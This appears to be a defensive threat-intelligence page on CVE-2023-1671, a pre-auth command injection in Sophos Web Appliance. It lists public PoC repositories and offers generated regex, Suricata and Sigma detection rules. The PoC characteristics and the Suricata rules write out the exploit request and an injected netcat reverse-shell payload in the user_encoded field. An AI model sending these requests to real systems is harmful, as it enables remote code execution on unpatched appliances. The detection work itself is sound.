Sophos Web Appliance
Sophos Web Appliance Command Injection Vulnerability
A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
Timeline
Days relative to CVE publicationFirst public PoC 19 days after publication; added to CISA KEV 226 days after publication. First PoC: ohnonoyesyes/CVE-2023-1671 (created 23 Apr 2023, found by us: backfilled).
PoC repositories
Found on GitHub.5 PoCs · 1 pending · 1 suspicious or fake
PoCs 5
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| ohnonoyesyes/CVE-2023-1671 | 23 Apr 2023 +19 d | 3 | PoC via PoC Index |
| W01fh4cker/CVE-2023-1671-POC | 24 Apr 2023 +21 d | 15 | PoC |
| behnamvanda/CVE-2023-1671 | 25 Apr 2023 +22 d | 1 | PoC |
| csffs/cve-2023-1671 | 17 May 2023 +43 d | 0 | PoC |
| 0xdolan/cve_poc | 1 Aug 2023 +120 d | 1 | PoC via PoC Index |
Pending 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| c4ln/CVE-2023-1671-POC | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Suspicious or fake 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| getdrive/PoC | 5 Aug 2023 +123 d | 74 | Fake |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | Sophos Web Appliance 4.3.10.4 - Pre-auth command injection | 25 Apr 2023 | 14 Nov 2026 |
| nuclei template | nuclei template: Sophos Web Appliance - Remote Code Execution | 27 Apr 2023 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 5 PoC reposPOST /index.php
- Query
c=blockedaction=continue- Body markers
args_reason=filetypewarnurl={var}filetype={var}user={var}user_encoded=$(echo -n ;ping $sub -c 3 #"user_encoded=$(echo -n ;nc -e /bin/sh 192.168.56.1 4444 #"inapplication/x-www-form-urlencoded- Seen in
- 2 repos: behnamvanda/CVE-2023-1671, ohnonoyesyes/CVE-2023-1671
- Evidence
- behnamvanda/CVE-2023-1671/CVE-2023-1671.sh:42 ohnonoyesyes/CVE-2023-1671/README.md:7
GET /{var}/{var}.json
- Seen in
- 1 repo: 0xdolan/cve_poc
- Evidence
- 0xdolan/cve_poc/cve_poc.py:53
GET /{var}/{var}.md
- Seen in
- 1 repo: 0xdolan/cve_poc
- Evidence
- 0xdolan/cve_poc/cve_poc.py:54
POST //https://{var}/index.php
- Query
c=blockedaction=continue/index.php?c=blockedaction=continue- Body markers
args_reason=filetypewarnurl=filetype=user=user_encoded=- Seen in
- 1 repo: csffs/cve-2023-1671
- Evidence
- csffs/cve-2023-1671/cve-2023-1671.py:78 csffs/cve-2023-1671/cve-2023-1671.py:113
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/index\.php\?(?:.*&)?c=blocked.*action=continue
(?i)^/[^/?#]*/[^/?#]*\.json(?:[?#].*)?$
(?i)^/[^/?#]*/[^/?#]*\.md(?:[?#].*)?$
(?i)^//https://[^/?#]*/index\.php\?(?:.*&)?c=blocked.*action=continue/index\.php\?c=blocked.*action=continue
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2023-1671 Sophos Sophos Web Appliance exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/index.php"; http.uri; content:"c=blocked"; http.uri; content:"action=continue"; http.request_body; content:"args_reason=filetypewarn"; http.request_body; content:"url="; http.request_body; content:"filetype="; http.request_body; content:"user="; http.request_body; content:"user_encoded=$(echo -n |3b|ping $sub -c 3 #|22|"; http.request_body; content:"user_encoded=$(echo -n |3b|nc -e /bin/sh 192.168.56.1 4444 #|22|"; reference:url,poc.griffinguard.io/cve/CVE-2023-1671; classtype:web-application-attack; sid:9743898; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2023-1671 Sophos Sophos Web Appliance exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:".json"; reference:url,poc.griffinguard.io/cve/CVE-2023-1671; classtype:web-application-attack; sid:9544133; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2023-1671 Sophos Sophos Web Appliance exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:".md"; reference:url,poc.griffinguard.io/cve/CVE-2023-1671; classtype:web-application-attack; sid:9590046; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2023-1671 Sophos Sophos Web Appliance exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"//https://"; http.uri; content:"/index.php"; http.uri; content:"c=blocked"; http.uri; content:"action=continue/index.php?c=blocked"; http.uri; content:"action=continue"; http.request_body; content:"args_reason=filetypewarn"; http.request_body; content:"url="; http.request_body; content:"filetype="; http.request_body; content:"user="; http.request_body; content:"user_encoded="; reference:url,poc.griffinguard.io/cve/CVE-2023-1671; classtype:web-application-attack; sid:9754886; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Sophos Sophos Web Appliance exploit attempt (CVE-2023-1671)
id: gg-pocmon-cve-2023-1671-9743898
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-1671. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-1671
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/index.php'
cs-uri-query|contains|all:
- 'c=blocked'
- 'action=continue'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2023.1671
title: Sophos Sophos Web Appliance exploit attempt (CVE-2023-1671)
id: gg-pocmon-cve-2023-1671-9544133
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-1671. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-1671
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '.json'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2023.1671
title: Sophos Sophos Web Appliance exploit attempt (CVE-2023-1671)
id: gg-pocmon-cve-2023-1671-9590046
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-1671. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-1671
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '.md'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2023.1671
title: Sophos Sophos Web Appliance exploit attempt (CVE-2023-1671)
id: gg-pocmon-cve-2023-1671-9754886
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-1671. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2023-1671
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '//https://'
- '/index.php'
cs-uri-query|contains|all:
- 'c=blocked'
- 'action=continue/index.php?c=blocked'
- 'action=continue'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2023.1671